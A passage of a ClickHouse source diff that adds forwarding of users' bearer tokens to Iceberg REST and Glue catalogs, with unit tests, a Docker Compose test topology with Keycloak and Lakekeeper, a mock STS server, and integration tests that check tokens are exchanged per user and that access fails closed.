`client_info` it has no + /// `read`/`write` and belongs to no serialized struct, so it cannot reach the interserver wire. + ForwardedAuthTokenPtr forwarded_auth_token; ExternalTablesInitializer external_tables_initializer_callback; QueryPlanDeserializationCallback query_plan_deserialization_callback; @@ -968,6 +973,10 @@ class Context: public ContextData, public std::enable_shared_from_this /// Modify stored in the context information about the client executing a query. void setClientInfo(const ClientInfo & client_info_); + + /// The token this session authenticated with, or nullptr when there is none to forward. + const ForwardedAuthTokenPtr & getForwardedAuthToken() const { return forwarded_auth_token; } + void setForwardedAuthToken(ForwardedAuthTokenPtr token); void setClientName(const String & client_name); void setClientInterface(ClientInfo::Interface interface); void setClientVersion(UInt64 client_version_major, UInt64 client_version_minor, UInt64 client_version_patch, unsigned client_tcp_protocol_version); diff --git a/src/Interpreters/InterpreterCheckQuery.cpp b/src/Interpreters/InterpreterCheckQuery.cpp index 23ceb6f88bde..488db18d3b68 100644 --- a/src/Interpreters/InterpreterCheckQuery.cpp +++ b/src/Interpreters/InterpreterCheckQuery.cpp @@ -442,7 +442,7 @@ BlockIO InterpreterCheckQuery::execute() LOG_DEBUG(log, "Checking database name = {} ", database_name); context->checkAccess(AccessType::CHECK, database_name); auto database = DatabaseCatalog::instance().getDatabase(database_name); - database->checkDatabase(); + database->checkDatabase(context); BlockIO res; return res; } diff --git a/src/Interpreters/Session.cpp b/src/Interpreters/Session.cpp index 1d39c81d7a76..dc5bd4457b3e 100644 --- a/src/Interpreters/Session.cpp +++ b/src/Interpreters/Session.cpp @@ -3,6 +3,7 @@ #include #include #include +#include #include #include #include @@ -409,6 +410,14 @@ void Session::authenticate(const Credentials & credentials_, const Poco::Net::So prepared_client_info->authenticated_user = auth_result.user_name; prepared_client_info->current_address = std::make_shared(address); prepared_client_info->connection_address = std::make_shared(connection_address ? *connection_address : address); + + /// After the attempt succeeded, so that a failed one captures nothing, and from the + /// credentials that were actually verified here rather than from any username-keyed cache. + if (const auto * token_credentials = typeid_cast(&credentials_)) + { + if (global_context->getAccessControl().isTokenForwardingEnabled()) + forwarded_auth_token = makeForwardedAuthToken(*token_credentials, auth_result.user_name); + } } void Session::checkIfUserIsStillValid() @@ -580,6 +589,7 @@ ContextMutablePtr Session::makeSessionContext() /// Copy prepared client info to the new session context. new_session_context->setClientInfo(*prepared_client_info); + new_session_context->setForwardedAuthToken(forwarded_auth_token); prepared_client_info.reset(); /// Set user information for the new context: current profiles, roles, access rights. @@ -651,6 +661,13 @@ ContextMutablePtr Session::makeSessionContext(const String & session_name_, std: max_sessions_for_user = max_session_for_user_field->safeGet(); } + /// Overwrites: a named session reuses a previously created context, which may still hold the + /// token of the request that created it. Stamped only while the session still runs as the + /// user that authenticated -- `EXECUTE AS ` switches it to another identity that must + /// not be handed this token. After the user is set, so a fresh named session is resolved. + const bool runs_as_authenticated_user = new_session_context->getAccess()->getUserID() == user_id; + new_session_context->setForwardedAuthToken(runs_as_authenticated_user ? forwarded_auth_token : nullptr); + /// Session context is ready. session_context = std::move(new_session_context); named_session = new_named_session; @@ -711,6 +728,12 @@ ContextMutablePtr Session::makeQueryContextImpl(const ClientInfo * client_info_t else if (client_info_to_copy && (client_info_to_copy != &getClientInfo())) query_context->setClientInfo(*client_info_to_copy); + /// Only when there is no session context to inherit it from: a query context copied from the + /// session context already carries the session's token, and that copy is the authoritative + /// one -- `EXECUTE AS ` clears it there, and re-stamping would hand it right back. + if (!from_session_context) + query_context->setForwardedAuthToken(forwarded_auth_token); + /// Copy current user's name and address if it was authenticated after query_client_info was initialized. if (prepared_client_info && !prepared_client_info->current_user.empty()) { diff --git a/src/Interpreters/Session.h b/src/Interpreters/Session.h index 4ae42dc9c993..f5b07de4b6ac 100644 --- a/src/Interpreters/Session.h +++ b/src/Interpreters/Session.h @@ -2,6 +2,7 @@ #include #include +#include #include #include #include @@ -122,6 +123,11 @@ class Session /// ClientInfo that will be copied to a session context when it's created. std::optional prepared_client_info; + /// The bearer token this session authenticated with, when `enable_token_forwarding` is on. + /// Kept out of `prepared_client_info`, which reaches the session log and contexts rebuilt by + /// `EXECUTE AS` and DEFINER views. + ForwardedAuthTokenPtr forwarded_auth_token; + mutable UserPtr user; std::optional user_id; std::vector external_roles; diff --git a/src/Interpreters/tests/gtest_async_insert_key.cpp b/src/Interpreters/tests/gtest_async_insert_key.cpp index 327525b4db5c..f3216fe110e6 100644 --- a/src/Interpreters/tests/gtest_async_insert_key.cpp +++ b/src/Interpreters/tests/gtest_async_insert_key.cpp @@ -1,3 +1,4 @@ +#include #include #include #include @@ -37,10 +38,10 @@ TEST(AsyncInsertKey, SettingsChanges) auto kind = AsynchronousInsertQueueDataKind::Parsed; - AsynchronousInsertQueue::InsertQuery key1(query, {}, {}, {}, {}, {}, settings1, kind); - AsynchronousInsertQueue::InsertQuery key2(query, {}, {}, {}, {}, {}, settings2, kind); - AsynchronousInsertQueue::InsertQuery key3(query, {}, {}, {}, {}, {}, settings3, kind); - AsynchronousInsertQueue::InsertQuery key4(query, {}, {}, {}, {}, {}, settings4, kind); + AsynchronousInsertQueue::InsertQuery key1(query, {}, {}, {}, {}, {}, {}, settings1, kind); + AsynchronousInsertQueue::InsertQuery key2(query, {}, {}, {}, {}, {}, {}, settings2, kind); + AsynchronousInsertQueue::InsertQuery key3(query, {}, {}, {}, {}, {}, {}, settings3, kind); + AsynchronousInsertQueue::InsertQuery key4(query, {}, {}, {}, {}, {}, {}, settings4, kind); EXPECT_EQ(key1, key2); EXPECT_NE(key1, key3); @@ -62,7 +63,7 @@ TEST(AsyncInsertKey, IdentityHashIsNotAmbiguous) auto make_key = [&](const String & current_user, const String & initial_user, const String & authenticated_user) { return AsynchronousInsertQueue::InsertQuery( - query, {}, {}, current_user, initial_user, authenticated_user, settings, kind); + query, {}, {}, current_user, initial_user, authenticated_user, {}, settings, kind); }; /// The three identity fields are variable-length strings folded into the queue key hash, @@ -93,3 +94,33 @@ TEST(AsyncInsertKey, IdentityHashIsNotAmbiguous) EXPECT_NE(key_g.hash, key_h.hash); EXPECT_NE(key_g, key_h); } + +TEST(AsyncInsertKey, ForwardedTokenPartitionsBatches) +{ + String query_str = "INSERT INTO test (a) VALUES (1)"; + ParserInsertQuery parser(query_str.data() + query_str.size(), false); + ASTPtr query = parseQuery(parser, query_str, DBMS_DEFAULT_MAX_QUERY_SIZE, DBMS_DEFAULT_MAX_PARSER_DEPTH, DBMS_DEFAULT_MAX_PARSER_BACKTRACKS); + Settings settings; + + auto make_key = [&](const ForwardedAuthTokenPtr & token) + { + return AsynchronousInsertQueue::InsertQuery( + query, {}, {}, "alice", "alice", "alice", token, settings, AsynchronousInsertQueueDataKind::Parsed); + }; + auto token = makeForwardedAuthToken(TokenCredentials("alice-token"), "alice"); + auto same_token = makeForwardedAuthToken(TokenCredentials("alice-token"), "alice"); + auto rotated_token = makeForwardedAuthToken(TokenCredentials("alice-rotated-token"), "alice"); + + auto original = make_key(token); + auto same = make_key(same_token); + auto rotated = make_key(rotated_token); + auto no_token = make_key({}); + + /// Identical credentials captured by different sessions still share a batch. + EXPECT_EQ(original, same); + EXPECT_EQ(original.hash, same.hash); + EXPECT_NE(original, rotated); + EXPECT_NE(original.hash, rotated.hash); + EXPECT_NE(original, no_token); + EXPECT_NE(original.hash, no_token.hash); +} diff --git a/src/Storages/ObjectStorage/DataLakes/Iceberg/ExpireSnapshotsExecute.cpp b/src/Storages/ObjectStorage/DataLakes/Iceberg/ExpireSnapshotsExecute.cpp index 053d86f7a4c9..fcd3594d55ce 100644 --- a/src/Storages/ObjectStorage/DataLakes/Iceberg/ExpireSnapshotsExecute.cpp +++ b/src/Storages/ObjectStorage/DataLakes/Iceberg/ExpireSnapshotsExecute.cpp @@ -849,7 +849,7 @@ ExpireSnapshotsResult expireSnapshots( { auto catalog_filename = persistent_table_components.path_resolver.resolveForCatalog(metadata_info.path); const auto & [namespace_name, parsed_table_name] = DataLake::parseTableName(table_name); - if (!catalog->updateMetadata(namespace_name, parsed_table_name, catalog_filename, nullptr)) + if (!catalog->updateMetadata(namespace_name, parsed_table_name, catalog_filename, nullptr, context->getForwardedAuthToken())) { throw Exception( ErrorCodes::LOGICAL_ERROR, diff --git a/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergMetadata.cpp b/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergMetadata.cpp index 7f7d7211c680..21a92089e7b8 100644 --- a/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergMetadata.cpp +++ b/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergMetadata.cpp @@ -801,7 +801,7 @@ void IcebergMetadata::truncate(ContextPtr context, std::shared_ptrupdateMetadata(namespace_name, table_name, catalog_filename, new_snapshot)) + if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot, context->getForwardedAuthToken())) throw Exception(ErrorCodes::INCORRECT_DATA, "Failed to commit Iceberg truncate update to catalog."); } @@ -959,7 +959,8 @@ void IcebergMetadata::createInitial( /// validation, so a rejected CREATE leaves no trace in the catalog): a catalog /// that shares its storage view with the data (e.g. SeaweedFS) refuses to create /// a namespace over the plain directory those files would leave behind. - catalog->createNamespaceIfNotExists(DataLake::parseTableName(table_id_.getTableName()).first, location_path); + catalog->createNamespaceIfNotExists( + DataLake::parseTableName(table_id_.getTableName()).first, location_path, local_context->getForwardedAuthToken()); } try @@ -988,7 +989,7 @@ void IcebergMetadata::createInitial( auto catalog_filename = configuration_ptr->getTypeName() + "://" + configuration_ptr->getNamespace() + "/" + configuration_ptr->getRawPath().path + "metadata/v1.metadata.json"; const auto & [namespace_name, table_name] = DataLake::parseTableName(table_id_.getTableName()); - catalog->createTable(namespace_name, table_name, catalog_filename, metadata_content_object); + catalog->createTable(namespace_name, table_name, catalog_filename, metadata_content_object, local_context->getForwardedAuthToken()); } } @@ -2044,7 +2045,7 @@ std::optional IcebergMetadata::commitImport catalog_filename = blob_storage_type_name + "://" + blob_storage_namespace_name + "/" + catalog_filename; const auto & [namespace_name, table_name] = DataLake::parseTableName(table_id.getTableName()); - if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot)) + if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot, context->getForwardedAuthToken())) { cleanup(true); return {}; diff --git a/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergWrites.cpp b/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergWrites.cpp index 0adbf4f2c0e5..f0aa0304fb9f 100644 --- a/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergWrites.cpp +++ b/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergWrites.cpp @@ -1766,7 +1766,7 @@ bool IcebergStorageSink::initializeMetadata() auto catalog_filename = resolver.resolveForCatalog(metadata_info.path); const auto & [namespace_name, table_name] = DataLake::parseTableName(table_id.getTableName()); - if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot)) + if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot, context->getForwardedAuthToken())) { cleanup(true); return false; diff --git a/src/Storages/ObjectStorage/DataLakes/Iceberg/Mutations.cpp b/src/Storages/ObjectStorage/DataLakes/Iceberg/Mutations.cpp index 2933f50f9296..b30f4a7a3457 100644 --- a/src/Storages/ObjectStorage/DataLakes/Iceberg/Mutations.cpp +++ b/src/Storages/ObjectStorage/DataLakes/Iceberg/Mutations.cpp @@ -615,7 +615,7 @@ static bool writeMetadataFiles( { auto catalog_filename = path_resolver.resolveForCatalog(metadata_info.path); const auto & [namespace_name, table_name] = DataLake::parseTableName(table_id.getTableName()); - if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot)) + if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot, context->getForwardedAuthToken())) { cleanup(); return false; @@ -972,7 +972,7 @@ void alter( metadata->getValue(Iceberg::f_last_column_id), getHighestFieldId(new_schema)); commit_attempted = true; - if (!catalog->updateSchema(namespace_name, table_name, catalog_filename, new_schema, previous_schema_id, new_last_column_id, metadata)) + if (!catalog->updateSchema(namespace_name, table_name, catalog_filename, new_schema, previous_schema_id, new_last_column_id, metadata, context->getForwardedAuthToken())) { ++i; continue; diff --git a/src/Storages/ObjectStorage/StorageObjectStorage.cpp b/src/Storages/ObjectStorage/StorageObjectStorage.cpp index e7913b4ec0fc..a74b0a392b34 100644 --- a/src/Storages/ObjectStorage/StorageObjectStorage.cpp +++ b/src/Storages/ObjectStorage/StorageObjectStorage.cpp @@ -159,6 +159,7 @@ StorageObjectStorage::StorageObjectStorage( , is_table_function(is_table_function_) , log(getLogger(fmt::format("Storage{}({})", configuration->getEngineName(), table_id_.getFullTableName()))) , catalog(catalog_) + , catalog_auth_token(context ? context->getForwardedAuthToken() : DB::ForwardedAuthTokenPtr{}) , storage_id(table_id_) , background_operations_assignee(*this, table_id_, BackgroundJobsAssignee::Type::DataProcessing, Context::getGlobalContextInstance()) { @@ -1018,7 +1019,7 @@ void StorageObjectStorage::drop() if (catalog) { const auto [namespace_name, table_name] = DataLake::parseTableName(storage_id.getTableName()); - catalog->dropTable(namespace_name, table_name); + catalog->dropTable(namespace_name, table_name, catalog_auth_token); } /// We cannot use query context here, because drop is executed in the background. configuration->drop(Context::getGlobalContextInstance()); diff --git a/src/Storages/ObjectStorage/StorageObjectStorage.h b/src/Storages/ObjectStorage/StorageObjectStorage.h index 474e337e17ae..f130c3099891 100644 --- a/src/Storages/ObjectStorage/StorageObjectStorage.h +++ b/src/Storages/ObjectStorage/StorageObjectStorage.h @@ -1,4 +1,5 @@ #pragma once +#include #include #include #include @@ -270,6 +271,8 @@ class StorageObjectStorage : public IStorage, public IBackgroundOperation LoggerPtr log; std::shared_ptr catalog; + /// The token of the user who resolved this table, for `drop()`, which has no context of its own. + DB::ForwardedAuthTokenPtr catalog_auth_token; StorageID storage_id; BackgroundJobsAssignee background_operations_assignee; }; diff --git a/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml b/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml new file mode 100644 index 000000000000..05194ef83c1d --- /dev/null +++ b/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml @@ -0,0 +1,160 @@ +# Lakekeeper with OIDC authentication and a real authorization backend, plus the Keycloak that +# issues the tokens. Used by `test_datalake_sso_lakekeeper` to prove end-to-end SSO: the identity +# that authenticated to ClickHouse is the identity Lakekeeper authorizes. +# +# Differences from `docker_compose_iceberg_lakekeeper_catalog.yml`: +# * `LAKEKEEPER__OPENID_*` makes Lakekeeper accept and validate IdP tokens; +# * `LAKEKEEPER__AUTHZ_BACKEND=openfga` -- the default is `allowall`, under which a per-user +# authorization test proves nothing; +# * Keycloak is declared here rather than reused from `docker_compose_keycloak.yml` because +# Lakekeeper needs `depends_on: keycloak: condition: service_healthy` -- it reads the IdP +# discovery document at boot. `ClickHouseCluster` brings each service group up with its own +# `docker compose --file ` invocation, and starts Keycloak after the Iceberg +# catalog, so a cross-file `depends_on` would name an undefined service and would order the +# two the wrong way round. Reusing the shared file needs `helpers/cluster.py` changed first; +# * no unauthenticated `bootstrap` service: with OIDC on, bootstrap must present an admin token, +# so the test does it. +services: + keycloak: + image: quay.io/keycloak/keycloak:26.2 + command: + - "start-dev" + - "--import-realm" + - "--health-enabled=true" + environment: + - KC_BOOTSTRAP_ADMIN_USERNAME=admin + - KC_BOOTSTRAP_ADMIN_PASSWORD=admin + volumes: + # The realm deliberately declares no top-level `clientScopes`: an import that supplies that + # array gets only the scopes it lists and none of Keycloak's built-ins, so tokens come back + # without `sub` (from `basic`) or `preferred_username` (from `profile`) and Lakekeeper + # answers 401 to everything. The `lakekeeper` audience is a client protocol mapper instead. + - ../test_datalake_sso_lakekeeper/keycloak/realm-export.json:/opt/keycloak/data/import/realm.json:ro + healthcheck: + test: + - CMD-SHELL + - > + exec 3<>/dev/tcp/127.0.0.1/8080; + echo -e "GET /realms/clickhouse-test/.well-known/openid-configuration HTTP/1.1\r\nhost: 127.0.0.1:8080\r\nConnection: close\r\n\r\n" >&3; + grep "jwks_uri" <&3 + interval: 2s + timeout: 10s + retries: 30 + start_period: 30s + cpus: 3 + + lakekeeper: + image: vakamo/lakekeeper:v0.13.1 + environment: + - LAKEKEEPER__PG_ENCRYPTION_KEY=This-is-NOT-Secure! + - LAKEKEEPER__PG_DATABASE_URL_READ=postgresql://postgres:postgres@db:5432/postgres + - LAKEKEEPER__PG_DATABASE_URL_WRITE=postgresql://postgres:postgres@db:5432/postgres + - LAKEKEEPER__AUTHZ_BACKEND=openfga + - LAKEKEEPER__OPENFGA__ENDPOINT=http://openfga:8081 + - LAKEKEEPER__OPENID_PROVIDER_URI=http://keycloak:8080/realms/clickhouse-test + - LAKEKEEPER__OPENID_AUDIENCE=lakekeeper + # A single scope, not a list: Lakekeeper compares the configured value against the + # token's `scope` claim as one entry, so `openid profile email` would never match. + - LAKEKEEPER__OPENID_SCOPE=openid + - RUST_LOG=info + command: ["serve"] + ports: + - "${ICEBERG_REST_CATALOG_PORT}:8181" + healthcheck: + test: ["CMD", "/home/nonroot/lakekeeper", "healthcheck"] + interval: 2s + timeout: 10s + retries: 30 + start_period: 30s + depends_on: + migrate: + condition: service_completed_successfully + db: + condition: service_healthy + openfga: + condition: service_healthy + keycloak: + condition: service_healthy + cpus: 3 + + migrate: + image: vakamo/lakekeeper:v0.13.1 + environment: + - LAKEKEEPER__PG_ENCRYPTION_KEY=This-is-NOT-Secure! + - LAKEKEEPER__PG_DATABASE_URL_READ=postgresql://postgres:postgres@db:5432/postgres + - LAKEKEEPER__PG_DATABASE_URL_WRITE=postgresql://postgres:postgres@db:5432/postgres + - LAKEKEEPER__AUTHZ_BACKEND=openfga + - LAKEKEEPER__OPENFGA__ENDPOINT=http://openfga:8081 + - RUST_LOG=info + restart: "no" + command: ["migrate"] + depends_on: + db: + condition: service_healthy + openfga: + condition: service_healthy + cpus: 3 + + db: + image: postgres:16 + environment: + - POSTGRES_USER=postgres + - POSTGRES_PASSWORD=postgres + - POSTGRES_DB=postgres + healthcheck: + test: ["CMD-SHELL", "pg_isready -U postgres -d postgres"] + interval: 2s + timeout: 10s + retries: 10 + start_period: 10s + cpus: 3 + + openfga: + image: openfga/openfga:v1.8 + command: run + environment: + - OPENFGA_DATASTORE_ENGINE=postgres + - OPENFGA_DATASTORE_URI=postgres://postgres:postgres@openfga-db:5432/postgres?sslmode=disable + - OPENFGA_PLAYGROUND_ENABLED=false + # No IdP in front of OpenFGA: it is reachable only on the compose network, and adding a + # service-account client to the realm would buy the test nothing. + - OPENFGA_AUTHN_METHOD=none + - OPENFGA_HTTP_TLS_ENABLED=false + healthcheck: + test: ["CMD", "/usr/local/bin/grpc_health_probe", "-addr=openfga:8081"] + interval: 5s + timeout: 30s + retries: 10 + start_period: 10s + depends_on: + openfga-db: + condition: service_healthy + openfga-migrate: + condition: service_completed_successfully + cpus: 3 + + openfga-migrate: + image: openfga/openfga:v1.8 + command: migrate + restart: "no" + environment: + - OPENFGA_DATASTORE_ENGINE=postgres + - OPENFGA_DATASTORE_URI=postgres://postgres:postgres@openfga-db:5432/postgres?sslmode=disable + depends_on: + openfga-db: + condition: service_healthy + cpus: 3 + + openfga-db: + image: postgres:16 + environment: + - POSTGRES_USER=postgres + - POSTGRES_PASSWORD=postgres + - POSTGRES_DB=postgres + healthcheck: + test: ["CMD-SHELL", "pg_isready -U postgres -d postgres"] + interval: 2s + timeout: 10s + retries: 10 + start_period: 10s + cpus: 3 diff --git a/tests/integration/test_datalake_glue_token_forwarding/__init__.py b/tests/integration/test_datalake_glue_token_forwarding/__init__.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/tests/integration/test_datalake_glue_token_forwarding/configs/token_forwarding.xml b/tests/integration/test_datalake_glue_token_forwarding/configs/token_forwarding.xml new file mode 100644 index 000000000000..f43af7403a01 --- /dev/null +++ b/tests/integration/test_datalake_glue_token_forwarding/configs/token_forwarding.xml @@ -0,0 +1,37 @@ + + + 1 + + + + + jwt_static_key + HS256 + glue_token_forwarding_secret + false + true + + + + + + hs256 + default + + + + + + + diff --git a/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml b/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml new file mode 100644 index 000000000000..48d16fc29d25 --- /dev/null +++ b/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml @@ -0,0 +1,17 @@ + + + + + + + 1 + 1 + + + + passworduser_password + default + ::/0 + + + diff --git a/tests/integration/test_datalake_glue_token_forwarding/s3_mocks/mock_sts.py b/tests/integration/test_datalake_glue_token_forwarding/s3_mocks/mock_sts.py new file mode 100644 index 000000000000..1d999b3c2da6 --- /dev/null +++ b/tests/integration/test_datalake_glue_token_forwarding/s3_mocks/mock_sts.py @@ -0,0 +1,87 @@ +""" +A mock AWS STS that answers `AssumeRoleWithWebIdentity` and records what it was asked. It verifies +no signature and no trust policy. + +Routes outside the STS API: + GET /_requests every recorded call, as JSON + GET /_reset forget them + +A request whose `RoleSessionName` is `rejected` gets an `InvalidIdentityToken` error. +""" + +import json +import sys +from datetime import datetime, timedelta, timezone +from urllib.parse import parse_qs + +from bottle import request, response, route, run + +recorded = [] + + +@route("/") +def ping(): + response.content_type = "text/plain" + response.set_header("Content-Length", 2) + return "OK" + + +@route("/_requests") +def list_requests(): + response.content_type = "application/json" + return json.dumps(recorded) + + +@route("/_reset") +def reset(): + recorded.clear() + response.content_type = "text/plain" + return "OK" + + +@route("/", method="POST") +def sts(): + body = request.body.read().decode() + params = {key: values[0] for key, values in parse_qs(body).items()} + + recorded.append( + { + "action": params.get("Action", ""), + "version": params.get("Version", ""), + "role_arn": params.get("RoleArn", ""), + "role_session_name": params.get("RoleSessionName", ""), + "web_identity_token": params.get("WebIdentityToken", ""), + "query_string": request.query_string, + } + ) + + if params.get("RoleSessionName") == "rejected": + response.status = 403 + response.content_type = "text/xml" + return """ + + + Sender + InvalidIdentityToken + Incorrect token audience + + + """ + + expiration = datetime.now(timezone.utc) + timedelta(hours=1) + + return f""" + + + + testing + testing + session-for-{params.get("RoleSessionName", "")} + {expiration.strftime("%Y-%m-%dT%H:%M:%SZ")} + + + + """ + + +run(host="0.0.0.0", port=int(sys.argv[1])) diff --git a/tests/integration/test_datalake_glue_token_forwarding/test.py b/tests/integration/test_datalake_glue_token_forwarding/test.py new file mode 100644 index 000000000000..6c4ead02efbf --- /dev/null +++ b/tests/integration/test_datalake_glue_token_forwarding/test.py @@ -0,0 +1,274 @@ +""" +Forwarding the querying user's identity to an AWS Glue catalog. + +Glue speaks SigV4, never a bearer token, so nothing about this suite resembles the Iceberg REST +one: the user's token never reaches the catalog. It reaches AWS STS, which exchanges it for +temporary credentials of `aws_role_arn`, and those sign every Glue call the query makes. + +What can and cannot be asserted here: moto does not implement IAM, so it authorizes nothing and +"alice cannot see bob's table" is not a statement this topology can make. What it can prove is +that each user's own token is exchanged for a session of its own, and that a query with no +usable token fails rather than falling back to the identity configured on the database. Real +per-user authorization needs a live AWS account with Lake Formation. + +Run: + python -m ci.praktika run "integration" --test test_datalake_glue_token_forwarding +""" + +import json +import logging +import os +import uuid + +import boto3 +import jwt +import pytest + +from helpers.cluster import ClickHouseCluster +from helpers.mock_servers import start_mock_servers + +SECRET = "glue_token_forwarding_secret" +BASE_URL = "http://glue:3000" +ROLE_ARN = "arn:aws:iam::123456789012:role/data-lake-reader" +STS_CONTAINER = "sts.us-east-1.amazonaws.com" + +DATABASE_SETTINGS = { + "catalog_type": "glue", + "warehouse": "test", + "storage_endpoint": "http://minio1:9001/warehouse-glue", + "region": "us-east-1", + "aws_role_arn": ROLE_ARN, + "oauth_forward_user_token": "1", +} + + +def make_token(user): + return jwt.encode({"sub": user}, SECRET, algorithm="HS256") + + +def run_sts_mock(cluster): + start_mock_servers( + cluster, + os.path.join(os.path.dirname(__file__), "s3_mocks"), + [("mock_sts.py", STS_CONTAINER, "80")], + ) + + +@pytest.fixture(scope="module") +def started_cluster(): + try: + # moto rejects a boto connection that carries no credentials at all. + os.environ["AWS_ACCESS_KEY_ID"] = "testing" + os.environ["AWS_SECRET_ACCESS_KEY"] = "testing" + + cluster = ClickHouseCluster(__file__) + cluster.add_instance( + "node1", + main_configs=["configs/token_forwarding.xml"], + user_configs=["configs/users.xml"], + stay_alive=True, + with_glue_catalog=True, + ) + + # The STS endpoint the AWS SDK derives from the region, served by a mock through the + # cluster's DNS. Same mechanism as `test_database_glue`. + sts = cluster.add_instance( + name=STS_CONTAINER, + hostname=STS_CONTAINER, + image="altinityinfra/python-bottle", + tag="latest", + stay_alive=True, + ) + sts.stop_clickhouse(kill=True) + + logging.info("Starting cluster...") + cluster.start() + run_sts_mock(cluster) + + node = cluster.instances["node1"] + node.query("CREATE ROLE IF NOT EXISTS token_users") + node.query("GRANT SHOW, SELECT ON *.* TO token_users") + + yield cluster + finally: + cluster.shutdown() + + +def glue_client(started_cluster): + return boto3.client( + "glue", + endpoint_url=f"http://localhost:{started_cluster.glue_catalog_port}", + region_name="us-east-1", + aws_access_key_id="testing", + aws_secret_access_key="testing", + ) + + +def create_glue_table(started_cluster, namespace, table): + client = glue_client(started_cluster) + client.create_database(DatabaseInput={"Name": namespace}) + client.create_table( + DatabaseName=namespace, + TableInput={ + "Name": table, + "Parameters": {"table_type": "ICEBERG"}, + "StorageDescriptor": { + "Columns": [{"Name": "x", "Type": "int"}], + "Location": f"s3://warehouse-glue/{namespace}/{table}", + }, + }, + ) + + +def sts_requests(started_cluster): + """Everything the mock STS has been asked since the last reset.""" + output = started_cluster.exec_in_container( + started_cluster.get_container_id(STS_CONTAINER), + [ + "python3", + "-c", + "import urllib.request;" + "print(urllib.request.urlopen('http://localhost:80/_requests').read().decode())", + ], + ) + return json.loads(output) + + +def reset_sts(started_cluster): + started_cluster.exec_in_container( + started_cluster.get_container_id(STS_CONTAINER), + [ + "python3", + "-c", + "import urllib.request; urllib.request.urlopen('http://localhost:80/_reset').read()", + ], + ) + + +@pytest.fixture(autouse=True) +def clean_sts_log(started_cluster): + reset_sts(started_cluster) + yield + + +def create_database(node, name, extra_settings=None): + settings = dict(DATABASE_SETTINGS) + settings.update(extra_settings or {}) + node.query( + f"DROP DATABASE IF EXISTS {name}; " + f"CREATE DATABASE {name} ENGINE = DataLakeCatalog('{BASE_URL}') " + f"SETTINGS {','.join(k + '=' + repr(v) for k, v in settings.items())}", + settings={"allow_database_glue_catalog": 1}, + ) + + +def query_with_token(node, token, sql, **kwargs): + response = node.http_request( + "", method="POST", data=sql, headers={"Authorization": f"Bearer {token}"}, **kwargs + ) + response.raise_for_status() + return response.text + + +def profile_event(node, query_id, event): + node.query("SYSTEM FLUSH LOGS") + return int( + node.query( + f"SELECT sum(ProfileEvents['{event}']) FROM system.query_log " + f"WHERE query_id = '{query_id}' AND type = 'QueryFinish'" + ).strip() + or 0 + ) + + +def test_user_token_is_exchanged_at_sts(started_cluster): + """ + The token the user authenticated to ClickHouse with is the token STS is asked to exchange, + and the session it is exchanged into is named after that user. No Glue call is served by the + identity configured on the database: `DataLakeGlueCatalogServiceIdentityRequests` is the + fail-open detector. + """ + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + create_glue_table(started_cluster, namespace, "t") + + db = f"glue_{uuid.uuid4().hex[:8]}" + create_database(node, db) + + token = make_token("alice") + query_id = str(uuid.uuid4()) + query_with_token(node, token, f"SHOW TABLES FROM {db}", params={"query_id": query_id}) + + requests = sts_requests(started_cluster) + assert len(requests) == 1, requests + + request = requests[0] + assert request["action"] == "AssumeRoleWithWebIdentity" + assert request["version"] == "2011-06-15" + assert request["role_arn"] == ROLE_ARN + assert request["role_session_name"] == "alice" + assert request["web_identity_token"] == token + + # The token is a credential: it must never appear in a request line. + assert token not in request["query_string"] + + assert profile_event(node, query_id, "DataLakeGlueCatalogServiceIdentityRequests") == 0 + + +def test_each_user_gets_its_own_session(started_cluster): + """Two users are two exchanges, and neither is handed the other's session.""" + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + create_glue_table(started_cluster, namespace, "t") + + db = f"glue_{uuid.uuid4().hex[:8]}" + create_database(node, db) + + query_with_token(node, make_token("alice"), f"SHOW TABLES FROM {db}") + query_with_token(node, make_token("bob"), f"SHOW TABLES FROM {db}") + + sessions = sorted(request["role_session_name"] for request in sts_requests(started_cluster)) + assert sessions == ["alice", "bob"] + + tokens = {request["web_identity_token"] for request in sts_requests(started_cluster)} + assert tokens == {make_token("alice"), make_token("bob")} + + +def test_no_token_fails_closed(started_cluster): + """ + A session with no token cannot borrow the identity configured on the database. The query + fails, and nothing is exchanged on its behalf. + """ + node = started_cluster.instances["node1"] + db = f"glue_{uuid.uuid4().hex[:8]}" + create_database(node, db) + + error = node.query_and_get_error( + f"SHOW TABLES FROM {db}", user="passworduser", password="passworduser_password" + ) + assert "carries no bearer token" in error, error + + assert sts_requests(started_cluster) == [] + + +def test_rejected_token_does_not_fall_back(started_cluster): + """ + When STS refuses the token, the query fails with what STS said. It does not proceed as the + identity configured on the database. + """ + node = started_cluster.instances["node1"] + db = f"glue_{uuid.uuid4().hex[:8]}" + create_database(node, db) + + # The mock refuses this session name, standing in for a trust policy that rejects the token. + response = node.http_request( + "", + method="POST", + data=f"SHOW TABLES FROM {db}", + headers={"Authorization": f"Bearer {make_token('rejected')}"}, + ) + assert response.status_code != 200 + assert "Could not assume role" in response.text, response.text + assert "InvalidIdentityToken" in response.text, response.text + + assert len(sts_requests(started_cluster)) == 1 diff --git a/tests/integration/test_datalake_sso_lakekeeper/__init__.py b/tests/integration/test_datalake_sso_lakekeeper/__init__.py new file mode 100644 index 